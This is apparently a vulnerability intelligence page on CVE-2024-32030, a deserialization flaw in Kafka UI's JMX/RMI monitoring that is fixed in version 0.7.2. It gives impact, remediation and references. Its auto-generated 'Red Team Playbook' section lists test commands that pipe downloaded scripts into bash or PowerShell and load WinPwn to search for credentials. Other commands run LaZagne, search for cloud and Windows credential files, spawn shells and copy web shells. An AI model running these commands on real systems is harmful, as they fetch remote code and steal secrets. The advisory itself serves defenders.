CVE-2024-32030
Overview
This vulnerability is a deserialization flaw in the Kafka UI's JMX monitoring feature, which relies on the RMI protocol. The root cause lies in the unsafe handling of serialized objects returned by RMI calls when connecting to JMX ports. The affected component is the Kafka UI backend's integration with Kafka brokers' JMX ports, particularly when dynamic.config.enabled is enabled or when an attacker controls the connected Kafka cluster.
Vulnerability Description
Kafka UI is an Open-Source Web UI for Apache Kafka Management. Kafka UI API allows users to connect to different Kafka brokers by specifying their network address and port. As a separate feature, it also provides the ability to monitor the performance of Kafka brokers by connecting to their JMX ports. JMX is based on the RMI protocol, so it is inherently susceptible to deserialization attacks. A potential attacker can exploit this feature by connecting Kafka UI backend to its own malicious broker. This vulnerability affects the deployments where one of the following occurs: 1. dynamic.config.enabled property is set in settings. It's not enabled by default, but it's suggested to be enabled in many tutorials for Kafka UI, including its own README.md. OR 2. an attacker has access to the Kafka cluster that is being connected to Kafka UI. In this scenario the attacker can exploit this vulnerability to expand their access and execute code on Kafka UI as well. Instead of setting up a legitimate JMX port, an attacker can create an RMI listener that returns a malicious serialized object for any RMI call. In the worst case it could lead to remote code execution as Kafka UI has the required gadget chains in its classpath. This issue may lead to post-auth remote code execution. This is particularly dangerous as Kafka-UI does not have authentication enabled by default. This issue has been addressed in version 0.7.2. All users are advised to upgrade. There are no known workarounds for this vulnerability. These issues were discovered and reported by the GitHub Security lab and is also tracked as GHSL-2023-230.
Impact
An attacker with network access to the Kafka UI or control over the Kafka cluster can execute arbitrary code remotely on the Kafka UI backend without authentication, as authentication is disabled by default. This enables lateral movement and full system compromise of the Kafka UI host. The CVSS vector indicates no privileges or user interaction are required (AV:N/AC:H/PR:N/UI:N), making exploitation feasible in exposed environments.
Solution
Users of provectus kafka-ui must upgrade to version 0.7.2 or later, as this release addresses the deserialization vulnerability. The GitHub Security Lab advisory GHSL-2023-230 and the fix implemented in pull request #4427 provide detailed patch information. No workarounds exist; therefore, upgrading is the only effective remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Kafka UI, an open-source web interface for managing Apache Kafka, arises from its reliance on Java Management Extensions (JMX) for monitoring Kafka brokers. JMX operates over the Remote Method Invocation (RMI) protocol, which is inherently vulnerable to deserialization attacks. This vulnerability allows an attacker to exploit the Kafka UI by connecting it to a malicious broker that has been configured to return a specially crafted serialized object. If the dynamic configuration property is enabled, which is often recommended in various tutorials, the attack surface expands significantly. Furthermore, if an attacker gains access to the Kafka cluster, they can leverage this vulnerability to execute arbitrary code on the Kafka UI backend, as it contains the necessary gadget chains in its classpath.
Exploitation of this vulnerability can occur through multiple vectors. An attacker could set up a rogue Kafka broker that listens on the JMX port, responding to RMI calls with malicious payloads. This scenario is particularly concerning in environments where the Kafka UI is configured to connect to brokers without stringent security measures. Additionally, if an attacker has already compromised a Kafka cluster, they can exploit this vulnerability to escalate their privileges and execute code on the Kafka UI, potentially leading to a full compromise of the application and the underlying infrastructure. The lack of default authentication for Kafka UI further exacerbates the risk, allowing unauthorized users to exploit the vulnerability without needing valid credentials.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Kafka for critical data processing and messaging. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential data loss. The ability to execute arbitrary code remotely means that attackers could deploy malware, exfiltrate data, or manipulate the Kafka environment to serve their malicious purposes. The business risks associated with such an incident include reputational damage, regulatory penalties, and financial losses due to downtime or data breaches. Organizations must recognize the severity of this vulnerability and prioritize its remediation to safeguard their Kafka deployments.
Detection and mitigation strategies are essential for organizations using Kafka UI. Regular security assessments and vulnerability scans should be conducted to identify instances of the application that may be exposed to this vulnerability. Organizations should also implement strict network segmentation to limit access to JMX ports and ensure that only trusted brokers are connected to the Kafka UI. Upgrading to the latest version of Kafka UI, where this vulnerability has been addressed, is crucial. Additionally, enabling authentication and implementing role-based access controls can help mitigate the risks associated with unauthorized access. While there are no known workarounds for this vulnerability, adhering to best practices in configuration and security can significantly reduce the likelihood of exploitation.
In conclusion, the vulnerability in Kafka UI highlights the critical need for robust security measures in modern software applications, especially those that handle sensitive data. Organizations must remain vigilant and proactive in addressing such vulnerabilities to protect their systems from potential exploitation. By understanding the technical details, potential attack vectors, and implementing effective detection and mitigation strategies, businesses can better safeguard their Kafka environments and maintain the integrity of their data processing operations.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
huseyinstif/CVE-2024-32030-Nuclei-Template
|
huseyinstif | 1 | 0 | 2024-06-24 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
51%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-32030 |
| securitylab.github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/ |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/provectus/kafka-ui/pull/4427 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/provectus/kafka-ui/commit/83b5a60cc08501b570a0c4d0b4cdfceb1b88d6b7#diff-37e769f4709c1e78c076a5949bbcead74e969725bfd89c7c4ba6d6f229a411e6R36 |